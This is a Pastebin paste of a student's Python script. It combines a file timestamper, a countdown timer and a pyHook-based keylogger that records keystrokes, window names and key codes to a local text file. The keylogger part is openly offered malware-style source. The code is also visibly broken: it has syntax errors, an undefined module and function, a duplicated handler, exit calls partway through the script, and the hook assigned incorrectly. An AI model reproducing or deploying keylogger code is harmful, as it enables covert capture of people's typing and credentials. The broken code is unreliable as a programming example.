Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Python 3
- #Joe McMahon
- import pythoncom
- import pyHook
- import time
- import datetime
- #Time Stamper---------------------------------------------------------------------------
- ts = time.time()
- timeStamp = datetime.datetime.fromtimestamp(ts).\
- strftime("0Y-0m-0d 0H0M:0S")
- myFile = open(("my" +timeStamp), "w"
- myFile.close()
- exit("nFile Timestamped "))
- #SETABLE COUNT DOWN TIMER------------------------------------------------------------------
- seconds = int(input("Enter the Number of Seconds: "))
- count = 1
- While count < seconds:
- print('/n{o}' .format(seconds-count), end=" ", flush = True)
- time.sleep(1)
- count += 1
- exit ("\nTime is up!")
- #--------------------------------------------------------------------------------------
- file_log = "C:\\Users\mcmah\Desktop\SPRING CLASSES\Scripting\The Project\output2.txt"
- strftTime = (startTime("0d 0b 0Y 0H:0M", gmtime()))
- def OnKeyboardEvent(event):
- logging.basicConfig(filename=file_log, level=logging.DEBUG, format='0(message)s')
- logging.log(10, (event.Key))
- return True
- #KEY LOGGER ---------------------------------------------------------------------------
- def OnKeyboardEvent(event):
- print('MessageName:', event.MessageName)
- print('Message:', event.Message)
- print('Time:', event.Time)
- print('Window', event.Window)
- print('WindowName:', event.WindowName)
- print('Ascii:', event.Ascii, chr(event.Ascii))
- print('Key:', event.Key)
- print('KeyID:', event.KeyID)
- print('ScanCode:', event.ScaneCode)
- print('Extended:', event.Extended)
- print('Injected:', event.Injected)
- print('Alt', event.Alt)
- print('Transition', event.Transition)
- print("---")
- #return True to pass the event to other handlers
- return True
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent()
- hm.HookKeyboard()
- pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment